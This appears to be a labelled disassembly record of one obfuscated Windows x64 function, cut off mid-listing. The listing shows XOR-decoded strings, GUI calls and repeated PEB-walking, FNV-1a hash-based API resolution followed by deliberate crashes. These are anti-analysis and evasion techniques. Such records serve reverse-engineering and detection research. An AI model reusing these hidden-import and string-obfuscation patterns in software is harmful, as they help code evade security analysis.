Function at 0x14008a4c0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1278]
mov eax, 0x1378
call fcn.14010fda0
sub rsp, rax
movaps xmmword [rsp + 0x1360], xmm6
movaps xmmword [rsp + 0x1350], xmm7
movaps xmmword [rsp + 0x1340], xmm8
movaps xmmword [rsp + 0x1330], xmm9
movaps xmmword [rsp + 0x1320], xmm10
movaps xmmword [rsp + 0x1310], xmm11
movaps xmmword [rsp + 0x1300], xmm12
mov rax, qword [0x140196900]
xor rax, rsp
mov qword [rbp + 0x11f8], rax
mov rbx, r9
mov qword [rbp + 0x340], rbx
mov r15, r8
mov qword [rbp + 0x730], r8
mov qword [rbp + 0x78], rdx
mov rdi, rcx
mov qword [rbp + 0x70], rcx
mov rax, qword [rbp + 0x12e0]
mov qword [rbp + 0x3f0], rax
mov r13, qword [rbp + 0x12f8]
mov r14, qword [rbp + 0x1310]
mov qword [rbp + 0x728], r14
mov rax, qword [rbp + 0x1318]
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x1320]
mov qword [rbp + 0xa8], rax
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140096fb7
cmp byte [0x1401976f6], 0
jne 0x14008a5b0
call fcn.140087e00
mov byte [0x1401976f6], 1
xor edx, edx
lea rcx, [0x1401962f0]
call fcn.140025fe0
xor r12d, r12d
mov esi, dword [reloc.WS2_32.dll_accept]
movss xmm11, dword [0x14011cf64]
xorps xmm12, xmm12
movss xmm9, dword [0x1401642e0]
cmp byte [reloc.WS2_32.dll_accept], r12b
je 0x14008f039
mov eax, dword [0x14016127c]
mov dword [rbp + 0x10], eax
movzx ecx, word [0x140161280]
mov word [rbp + 0x14], cx
movzx eax, byte [0x140161282]
mov byte [rbp + 0x10], Ordinal_79
xor byte [rbp + 0x11], 0x38
xor byte [rbp + 0x12], 0x39
xor byte [rbp + 0x13], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x14], cl
xor byte [rbp + 0x15], 0x3c
xor al, 0x3d
mov byte [rbp + 0x16], al
xor edx, edx
mov r8d, 0x13b
lea rcx, [rbp + 0x10]
call fcn.140005190
mov ecx, 0xff3366cc
call fcn.140083fb0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb70], xmm0
lea rdx, [rbp + 0xb70]
lea ecx, [r12 + 3]
call fcn.140021cf0
movaps xmm0, xmmword [0x140164310]
movups xmmword [rbp + 0xb80], xmm0
lea rdx, [rbp + 0xb80]
lea ecx, [r12 + 5]
call fcn.140021cf0
movaps xmm1, xmm11
lea ecx, [r12 + 6]
call fcn.140021e30
lea r14, [r12 - 1]
lea r15, [0x140197d08]
cmp byte [reloc.WS2_32.dll_accept], r12b
je 0x14008c50b
mov qword [rbp + 0x508], r12
lea rcx, [rbp + 0x508]
call fcn.140025c50
mov rcx, rdi
call fcn.140025a50
call fcn.140019700
mov rsi, rax
movaps xmm0, xmmword [0x1401643d0]
mov dword [rax + 0x114], 0x3f4ccccd
mov dword [rax + 0x118], 0x3ecccccd
mov dword [rax + 0x11c], 0x3e4ccccd
mov dword [rax + 0x120], 0x3f800000
movups xmmword [rax + 0xf4], xmm0
mov dword [rax + 0xd4], 0x3f800000
mov dword [rax + 0xd8], 0x3f800000
mov dword [rax + 0xdc], 0x3f800000
mov dword [rax + 0xe0], 0x3f800000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x510], 0x44390000
mov dword [rbp + 0x514], 0x43e60000
movsd xmm0, qword [0x140161288]
movsd qword [rbp - 0x48], xmm0
movzx eax, word [0x140161290]
mov word [rbp - 0x40], ax
cmp byte [0x140161291], r12b
je 0x14008a792
mov byte [rbp - 0x48], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x47], 0x38
xor byte [rbp - 0x46], 0x39
xor byte [rbp - 0x45], 0x3a
xor byte [rbp - 0x44], 0x3b
xor byte [rbp - 0x43], 0x3c
xor byte [rbp - 0x42], 0x3d
xor byte [rbp - 0x41], 0x3e
xor byte [rbp - 0x40], 0x3f
xor byte [rbp - 0x3f], 0x40
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x510]
lea rcx, [rbp - 0x48]
call fcn.140007ef0
mov dword [rbp + 0x518], 0x43814000
mov dword [rbp + 0x51c], 0x42480000
lea rcx, [rbp + 0x518]
call fcn.140025c50
mov rcx, rbx
call fcn.140025a50
lea rcx, str.Cyprus
call fcn.14004f2f0
movaps xmm0, xmm9
call fcn.140021bd0
mov rcx, rdi
call fcn.140025a50
mov dword [rbp + 0x520], 0x43700000
mov dword [rbp + 0x524], 0x430c0000
lea rcx, [rbp + 0x520]
call fcn.140025c50
movsd xmm0, qword [0x140161298]
movsd qword [rbp + 0xe0], xmm0
mov eax, dword [0x1401612a0]
mov dword [rbp + 0xe8], eax
movzx eax, byte [0x1401612a4]
mov byte [rbp + 0xec], al
mov r8d, r12d
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14008a94a
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401643c0]
movd xmm0, dword [0x140161298]
xorps xmm2, xmm0
movd dword [rbp + 0xe0], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401643c0]
movd xmm0, dword [rbp + 0xe4]
xorps xmm2, xmm0
movd dword [rbp + 0xe4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008a960
lea rcx, [rbp + 0xe0]
call fcn.14004f2f0
mov dword [rbp + 0x528], 0x43700000
mov dword [rbp + 0x52c], 0x43250000
lea rcx, [rbp + 0x528]
call fcn.140025c50
movsd xmm0, qword [0x1401612a8]
movsd qword [rbp + 0x30], xmm0
movzx ecx, word [0x1401612b0]
mov word [rbp + 0x38], cx
movzx eax, byte [0x1401612b2]
mov byte [rbp + 0x30], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x31], 0x38
xor byte [rbp + 0x32], 0x39
xor byte [rbp + 0x33], 0x3a
xor byte [rbp + 0x34], 0x3b
xor byte [rbp + 0x35], 0x3c
xor byte [rbp + 0x36], 0x3d
xor byte [rbp + 0x37], 0x3e
xor cl, 0x3f
mov byte [rbp + 0x38], cl
xor byte [rbp + 0x39], 0x40
xor al, 0x41
mov byte [rbp + 0x3a], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x140196332]
lea rcx, [rbp + 0x30]
call fcn.140047750
call fcn.140021460
movaps xmm0, xmm9
call fcn.140021bd0
mov rcx, rdi
call fcn.140025a50
mov dword [rbp + 0x530], 0x43700000
mov dword [rbp + 0x534], 0x434d0000
lea rcx, [rbp + 0x530]
call fcn.140025c50
movsd xmm0, qword [0x1401612b8]
movsd qword [rbp + 0xf0], xmm0
mov eax, dword [0x1401612c0]
mov dword [rbp + 0xf8], eax
movzx eax, byte [0x1401612c4]
mov byte [rbp + 0xfc], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008aba1
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401612b8]
xorps xmm2, xmm0
movd dword [rbp + 0xf0], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf4]
xorps xmm2, xmm1
movd dword [rbp + 0xf4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008abb0
lea rcx, [rbp + 0xf0]
call fcn.14004f2f0
mov dword [rbp + 0x538], 0x43700000
mov dword [rbp + 0x53c], 0x43660000
lea rcx, [rbp + 0x538]
call fcn.140025c50
movsd xmm0, qword [0x1401612c8]
movsd qword [rbp + 0x40], xmm0
movzx ecx, word [0x1401612d0]
mov word [rbp + 0x48], cx
movzx eax, byte [0x1401612d2]
mov byte [rbp + 0x40], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x41], 0x38
xor byte [rbp + 0x42], 0x39
xor byte [rbp + 0x43], 0x3a
xor byte [rbp + 0x44], 0x3b
xor byte [rbp + 0x45], 0x3c
xor byte [rbp + 0x46], 0x3d
xor byte [rbp + 0x47], 0x3e
xor cl, 0x3f
mov byte [rbp + 0x48], cl
xor byte [rbp + 0x49], 0x40
xor al, 0x41
mov byte [rbp + 0x4a], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 0x8000
mov r8d, 0xff
lea rdx, [0x140196431]
lea rcx, [rbp + 0x40]
call fcn.140047750
call fcn.140021460
mov dword [rsi + 0x114], 0x3f4ccccd
mov dword [rsi + 0x118], 0x3ecccccd
mov qword [rsi + 0x11c], 0x3e4ccccd
mov dword [rbp + 0x540], 0x43700000
mov dword [rbp + 0x544], 0x43898000
lea rcx, [rbp + 0x540]
call fcn.140025c50
mov rcx, rdi
call fcn.140025a50
movaps xmm6, xmmword [0x140164420]
mov dword [rbp + 0x548], 0x43820000
mov dword [rbp + 0x54c], 0x42200000
movsd xmm0, qword [str.WSU]
movsd qword [rbp + 0x1c0], xmm0
mov eax, dword [0x1401612e0]
mov dword [rbp + 0x1c8], eax
cmp byte [0x1401612e3], r12b
je 0x14008ae71
mov r8d, r12d
cmp ebx, 2
jl 0x14008ae25
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.WSU]
xorps xmm2, xmm0
movd dword [rbp + 0x1c0], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c4]
xorps xmm2, xmm1
movd dword [rbp + 0x1c4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1c0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008ae40
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm6
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140196668]
mov qword [rsp + 0x28], rax
lea rax, [0x140196660]
mov qword [rsp + 0x20], rax
lea r9, [0x140196658]
xor r8d, r8d
lea rdx, [rbp + 0x548]
lea rcx, [rbp + 0x1c0]
call fcn.14003f490
test al, al
je 0x14008bcd5
lea rax, [rbp + 0x8d0]
mov qword [rbp + 0x770], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x8d0], xmm0
mov qword [rbp + 0x8e0], r12
mov qword [rbp + 0x8e8], r12
mov r8, r14
lea rax, [0x140196431]
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14008af10
mov rdx, rax
lea rcx, [rbp + 0x8d0]
call fcn.140056350
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x8b0], xmm0
mov qword [rbp + 0x8c0], r12
mov qword [rbp + 0x8c8], r12
mov r8, r14
lea rax, [0x140196332]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14008af50
mov rdx, rax
lea rcx, [rbp + 0x8b0]
call fcn.140056350
nop
lea r8, [rbp + 0x8d0]
lea rdx, [rbp + 0x8b0]
lea rcx, [0x140197af0]
call fcn.1400b9d80
cmp byte [0x140197d00], 0
jne 0x14008b011
movsd xmm0, qword [0x1401612e8]
movsd qword [rbp + 0x50], xmm0
movzx ecx, word [0x1401612f0]
mov word [rbp + 0x58], cx
movzx eax, byte [0x1401612f2]
mov byte [rbp + 0x50], 0x41
xor byte [rbp + 0x51], 0x38
xor byte [rbp + 0x52], 0x39
xor byte [rbp + 0x53], 0x3a
xor byte [rbp + 0x54], 0x3b
xor byte [rbp + 0x55], 0x3c
xor byte [rbp + 0x56], 0x3d
xor byte [rbp + 0x57], 0x3e
xor cl, 0x3f
mov byte [rbp + 0x58], cl
xor byte [rbp + 0x59], 0x40
xor al, 0x41
mov byte [rbp + 0x5a], al
mov rdx, r15
cmp qword [0x140197d20], 0xf
cmova rdx, qword [0x140197d08]
xor r9d, r9d
lea r8, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14008bcd5
movsd xmm0, qword [0x1401612f8]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x140161300]
mov dword [rsp + 0x58], eax
cmp byte [0x140161303], 0
je 0x14008b181
mov r8d, r12d
cmp ebx, 2
jl 0x14008b144
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401612f8]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008b150
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1080]
call fcn.140062f20
mov r8, rax
lea rdx, [rbp + 0x11b8]
lea rcx, [0x140197af0]
call fcn.1400bf8c0
nop
cmp qword [rbp + 0x11c8], 2
jbe 0x14008baae
mov ecx, dword [0x1401976fc]
call fcn.14006b6c0
test al, al
je 0x14008b3df
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b256
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b256
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b251
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b230
cmp r8d, 0xcded1a85
je 0x14008b25b
test r9d, r9d
jne 0x14008b210
mov rax, qword [rax]
jmp 0x14008b1e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b306
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b306
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b301
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b2e0
cmp r8d, 0xe80fd3a
je 0x14008b30b
test r9d, r9d
jne 0x14008b2c0
mov rax, qword [rax]
jmp 0x14008b290
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b3b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b3b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b3b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b390
cmp r8d, 0xa52bcaf9
je 0x14008b3bb
test r9d, r9d
jne 0x14008b370
mov rax, qword [rax]
jmp 0x14008b340
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
call fcn.14006b3d0
test al, al
je 0x14008b5ff
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b476
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b476
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b471
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b450
cmp r8d, 0xcded1a85
je 0x14008b47b
test r9d, r9d
jne 0x14008b430
mov rax, qword [rax]
jmp 0x14008b400
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b526
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b526
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b521
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b500
cmp r8d, 0xe80fd3a
je 0x14008b52b
test r9d, r9d
jne 0x14008b4e0
mov rax, qword [rax]
jmp 0x14008b4b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b5d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b5d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b5d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b5b0
cmp r8d, 0xa52bcaf9
je 0x14008b5db
test r9d, r9d
jne 0x14008b590
mov rax, qword [rax]
jmp 0x14008b560
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
cmp byte [0x1401976f0], 0
je 0x14008b81f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b696
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b696
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b691
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b670
cmp r8d, 0xcded1a85
je 0x14008b69b
test r9d, r9d
jne 0x14008b650
mov rax, qword [rax]
jmp 0x14008b620
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b746
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b746
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b741
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b720
cmp r8d, 0xe80fd3a
je 0x14008b74b
test r9d, r9d
jne 0x14008b700
mov rax, qword [rax]
jmp 0x14008b6d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b7f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b7f6
